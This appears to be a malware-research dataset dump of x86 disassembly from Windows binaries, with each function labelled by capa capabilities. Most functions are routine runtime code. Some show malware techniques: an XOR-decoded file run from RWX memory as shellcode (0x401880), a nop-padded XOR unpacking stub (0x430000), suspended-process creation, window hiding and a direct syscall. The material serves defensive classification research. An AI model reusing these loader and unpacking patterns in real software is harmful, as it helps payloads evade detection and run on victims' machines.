joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100fabf1
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.100fab6d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x100fad60
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x100fad60
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x100fad15
jg 0x100fac4d
test eax, eax
je 0x100fad0b
push 1
push 0x1000
call fcn.100ebba5
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x100fac70
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x100fad02
push 0x8000
push ebx
call fcn.100faa9e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x100fac99
jg 0x100fac94
cmp ecx, 0x1000
jb 0x100fac99
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.100eec68
add esp, 0x10
cmp eax, 0xffffffff
je 0x100facde
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x100fac94
jl 0x100facc5
test ecx, ecx
jne 0x100fac86
push dword [ebp - 0xc]
push ebx
call fcn.100faa9e
push esi
call fcn.100eb8a3
add esp, 0xc
xor ebx, ebx
jmp 0x100fad6e
cmp byte [edi + 0x24], 0
je 0x100facf5
cmp dword [edi + 0x20], 5
jne 0x100facf5
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x100fad00
mov ebx, dword [edi + 0x18]
jmp 0x100fad02
xor ebx, ebx
push esi
call fcn.100eb8a3
pop ecx
jmp 0x100fad6e
test ecx, ecx
jg 0x100facd7
jl 0x100fad15
test eax, eax
jae 0x100facd7
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100ef0ca
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x100fad35
cmp byte [edi + 0x1c], 0
je 0x100facd7
jmp 0x100fad66
push ebx
call fcn.100f8a83
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x100facd7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x100fad6e
cmp byte [edi + 0x1c], 0
je 0x100fad6b
mov ebx, dword [edi + 0x18]
jmp 0x100fad6e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.100ef0ca
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100fb840
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100fb86d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100fb86d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x28007302
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x345a3ba1
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40701c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x407028
push 0x407024
push 0x407020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x407028]
push dword [0x407024]
push dword [0x407020]
mov dword [0x407014], esp
call fcn.004014df
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret
Function at 0x401880
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x415004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push str.C:UsersA41481.MONAppDataLocalTemp8WPDkvotfLz15MMH.exe
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
test esi, esi
je 0x4018fd
push 0x40
push 0x1000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
lea eax, [ebp - 8]
push 0
push eax
push esi
push ebx
push edi
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401912
push 0x8000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040198f
mov esp, ebp
pop ebp
ret 0x10
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov edx, 0x19
test esi, esi
je 0x40194f
mov ecx, edx
mov eax, 0xffffffe9
shl ecx, 7
sub eax, ecx
add edx, eax
mov ecx, edx
mov eax, edx
shr ecx, 0x18
shr eax, 0x10
add cl, al
mov eax, edx
shr eax, 8
add cl, al
add cl, dl
xor byte [edi + ebx], cl
inc edi
cmp edi, esi
jb 0x401924
mov eax, dword [0x415900]
test eax, eax
jne 0x40196c
mov eax, dword [ebp - 0xc]
call eax
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
jmp 0x401986
cmp eax, 2
jne 0x401980
sub esp, 0x18
mov edx, esi
mov ecx, ebx
call fcn.004013f0
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
jmp 0x401986

Function at 0x4021c5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402204
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402204
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402204
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402204
cmp dword [ecx + 0x74], 0xe
jbe 0x402204
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x408376
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x408413
push ebx
push esi
call fcn.0040833f
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00406f42
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4083c0
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408412
push edi
push eax
call fcn.00406fe8
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4083e0
call fcn.00406fae
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408411
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00406f42
add esp, 0x20
test eax, eax
jne 0x4083ff
push edi
call fcn.00406fae
jmp 0x408407
push ebx
call fcn.00406fae
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4092c1
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40ffe0
push 0x40ffd8
push str.FlsAlloc
push 0x1f
call fcn.004091dd
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4092f5
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e12c]
call esi
jmp 0x4092fb
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40933f
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40fff0
push 0x40ffe8
push str.FlsGetValue
push 0x21
call fcn.004091dd
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409376
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e12c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40937e
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40fff8
push 0x40fff0
push str.FlsSetValue
push 0x22
call fcn.004091dd
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4093b8
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40e12c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40da90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40dabd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40dabd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40904c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4090a2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4090a2
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x409094
cmp esi, ecx
jae 0x4090a2
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edx, 1
jne 0x409082
cmp esi, ecx
jae 0x4090a2
cmp word [esi], 0
je 0x4090a2
mov eax, esi
jmp 0x4090a4
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x40958b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [0x423014]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, edx
mov edx, ecx
mov dword [ebp - 0x50], edx
push edi
test esi, esi
jne 0x4095b0
push 0x57
jmp 0x409623
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x6c]
push 0x1c
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
push eax
push esi
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
je 0x409629
mov edi, dword [ebp - 0x50]
lea eax, [ebp - 0x4c]
push 0
push 0x40
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x409629
mov eax, 0x5a4d
cmp word [ebp - 0x4c], ax
jne 0x40961e
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x60]
ja 0x40961e
cmp eax, 0x40
jb 0x40961e
push 0
push 0xf8
push ebx
add eax, esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x409629
cmp dword [ebx], 0x4550
jne 0x40961e
xor eax, eax
inc eax
jmp 0x40962b
push 0xc1
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ad62
leave
ret 4
Function at 0x40a272
Capabilities:
Query environment variable
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
mov eax, dword [0x423014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
and dword [ebp - 0x41c], 0
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x434], eax
mov edi, ecx
push 0x104
lea eax, [ebp - 0x210]
push eax
push 0x4071f4
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push esi
push ecx
mov edx, edi
mov dword [ebp - 0x430], eax
lea ecx, [ebp - 0x41c]
call fcn.0040a17c
mov ebx, dword [ebp - 0x41c]
test eax, eax
je 0x40a3bd
mov eax, dword [ebp - 0x430]
test eax, eax
je 0x40a3bd
mov esi, 0x104
cmp eax, esi
jae 0x40a3bd
push 0x407204
mov edx, esi
lea ecx, [ebp - 0x210]
call fcn.00408ece
test eax, eax
js 0x40a3bd
lea eax, [ebx + 0xc]
push eax
push 0x407234
lea eax, [ebp - 0x418]
push esi
push eax
call fcn.00408e2c
add esp, 0x10
xor esi, esi
test eax, eax
js 0x40a3bf
xor eax, eax
lea edi, [ebp - 0x42c]
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x480]
pop edi
push edi
push esi
push eax
call fcn.0040bb10
add esp, 0xc
mov dword [ebp - 0x480], edi
lea eax, [ebp - 0x42c]
push eax
lea eax, [ebp - 0x480]
push eax
push esi
push esi
push 4
push esi
push esi
push esi
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [ebp - 0x434]
test eax, eax
je 0x40a3bf
push dword [ebx]
mov ecx, dword [ebp - 0x42c]
mov edx, 0x4071cc
push ebx
call fcn.00409f1d
test eax, eax
jne 0x40a3dd
push 0xffffffffffffffff
push dword [ebp - 0x42c]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x42c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x428]
call esi
xor esi, esi
test ebx, ebx
je 0x40a3ca
push ebx
call fcn.0041fb6d
pop ecx
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ad62
leave
ret 8
push dword [ebp - 0x428]
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
call esi
push dword [ebp - 0x428]
call esi
push 0xffffffffffffffff
push dword [ebp - 0x42c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x41c], 0x1f4
push eax
push dword [ebp - 0x42c]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x42c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x428]
call esi
xor esi, esi
cmp dword [ebp - 0x41c], esi
jne 0x40a3bf
inc esi
jmp 0x40a3bf
Function at 0x40a444
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [ebp + 0x24]
push esi
push edi
test ebx, ebx
jne 0x40a45f
lea ebx, [ebp - 0x10]
xor eax, eax
mov edi, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_CreateProcessW]
xor eax, eax
push ebx
push dword [ebp + 0x20]
push eax
push eax
push 0x604
push 1
push eax
push eax
push edx
push ecx
call edi
test eax, eax
jne 0x40a482
xor eax, eax
jmp 0x40a4df
mov esi, dword [ebp + 0x28]
lea edx, [ebp + 0x24]
push ecx
mov ecx, dword [ebx]
mov dword [ebp + 0x24], esi
call fcn.00409d4b
test eax, eax
jne 0x40a4c6
mov ecx, dword [ebx + 8]
lea eax, [ebp + 0x24]
push edi
push eax
mov dword [ebp + 0x24], esi
call fcn.0040a272
test eax, eax
jne 0x40a4c6
push 0xffffffffffffffff
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebx]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebx + 4]
call esi
jmp 0x40a47e
lea eax, [ebp - 0x10]
cmp ebx, eax
jne 0x40a4dc
push dword [ebx]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebx + 4]
call esi
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0x28

Function at 0x416da1
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416a4f
Function at 0x41e952
Capabilities:
Check if file exists
Enumerate files on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x46c
mov eax, dword [0x423014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
push eax
mov edi, 0x104
mov dword [ebp - 0x46c], ecx
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x468], esi
xor ecx, ecx
push edi
push eax
mov ebx, ecx
call fcn.00415c28
push 4
push 0x406be4
lea eax, [ebp + esi*2 - 0x20e]
push edi
push eax
mov dword [ebp - 0x464], eax
call fcn.00415c28
add esp, 0x20
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x41eb5e
lea eax, [ebp - 0x45c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x41eb57
xor esi, esi
test byte [ebp - 0x45c], 0x10
je 0x41eb41
mov ecx, 0x4070b0
lea eax, [ebp - 0x430]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x41ea28
test dx, dx
je 0x41ea24
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x41ea28
add eax, 4
add ecx, 4
test dx, dx
jne 0x41ea02
mov eax, esi
jmp 0x41ea2d
sbb eax, eax
or eax, 1
test eax, eax
je 0x41eb41
mov ecx, 0x406bec
lea eax, [ebp - 0x430]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x41ea68
test dx, dx
je 0x41ea62
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x41ea68
add eax, 4
add ecx, 4
test dx, dx
jne 0x41ea40
xor edx, edx
mov eax, edx
jmp 0x41ea6f
sbb eax, eax
or eax, 1
xor edx, edx
test eax, eax
je 0x41eb3f
lea esi, [ebp - 0x430]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
cmp ax, dx
jne 0x41ea80
lea eax, [ebp - 0x460]
mov dword [ebp - 0x460], edx
push eax
push dword [ebp - 0x468]
sub esi, ecx
push 0x104
sar esi, 1
call fcn.0041f0b1
test eax, eax
js 0x41eb2a
push esi
lea eax, [ebp - 0x430]
push eax
push dword [ebp - 0x460]
push dword [ebp - 0x464]
call fcn.00415c28
mov ecx, dword [ebp - 0x464]
push 0x5c
pop eax
mov word [ecx + esi*2], ax
mov eax, dword [ebp + 0x14]
inc eax
push eax
push dword [ebp - 0x46c]
mov eax, 0x103
sub eax, dword [ebp - 0x468]
sub eax, esi
push eax
lea eax, [ecx + 2]
lea eax, [eax + esi*2]
push eax
call fcn.00415c28
add esp, 0x20
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor esi, esi
cmp eax, 0xffffffff
je 0x41eb41
push 2
push esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov ebx, eax
test ebx, ebx
jne 0x41eb57
jmp 0x41eb41
push 0x406bf8
push 2
call fcn.00411340
pop ecx
push eax
call fcn.0041f241
pop ecx
pop ecx
xor esi, esi
lea eax, [ebp - 0x45c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x41e9ea
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ad62
leave
ret
Function at 0x41f3ba
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
push 0x406c94
push esi
push eax
call fcn.0041fe61
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x41f46b
push 2
push 0
push dword [ebp - 4]
call fcn.004203de
add esp, 0xc
test eax, eax
jne 0x41f463
push dword [ebp - 4]
call fcn.00420950
mov edi, eax
pop ecx
test edi, edi
js 0x41f463
lea ecx, [edi + 8]
push ecx
call fcn.00410eee
mov dword [ebx], eax
pop ecx
test eax, eax
jne 0x41f425
push esi
push 0x7db
call fcn.004079b0
jmp 0x41f476
push 0
push 0
push dword [ebp - 4]
call fcn.004203de
add esp, 0xc
test eax, eax
jne 0x41f463
push dword [ebp - 4]
push edi
push 1
push dword [ebx]
call fcn.00420074
mov ecx, dword [ebx]
mov esi, eax
mov byte [edi + ecx], 0
mov ecx, dword [ebx]
mov byte [ecx + edi + 1], 0
push dword [ebp - 4]
call fcn.0041a75a
add esp, 0x14
mov eax, esi
jmp 0x41f47b
push esi
push 0x7dc
jmp 0x41f41e
push esi
push 0x7da
call fcn.004079cc
pop ecx
pop ecx
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x421853
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004216d2
Function at 0x40193e
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov eax, dword [esp + 8]
mov dword [0x4040d0], eax
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
dec ecx
jne 0x401951
push esp
mov dword [ebp - 0x24], 0x4016b5
mov eax, dword [0x4040d0]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], str.solienty
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4040d0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.absent
push str.solienty
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x4040d8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x4019f0
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x4019d1
pop ebp
ret 0x10

Function at 0x408930
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x4085d8
call fcn.00408949
xor dword [edi], ebx
push 0xe247dc17
pop ecx
inc edi
cmp edi, eax
jne fcn.00408930
dec edx
ret
Function at 0xa46370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xa4638e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xa6f074
push ecx
mov edi, eax
call fcn.00a5a198
mov esi, eax
add esp, 8
test esi, esi
jne 0xa463cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00a5a02e
push esi
call fcn.00a59fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xa49850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xa498ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xa74720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xa498ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00a5a1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xa498ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xa74720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xa4992a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00a5b082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xa49957
mov word [eax], si
add eax, 2
push eax
call fcn.00a5b030
add esp, 4
jmp 0xa49959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xa498ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xa498b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xa49ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret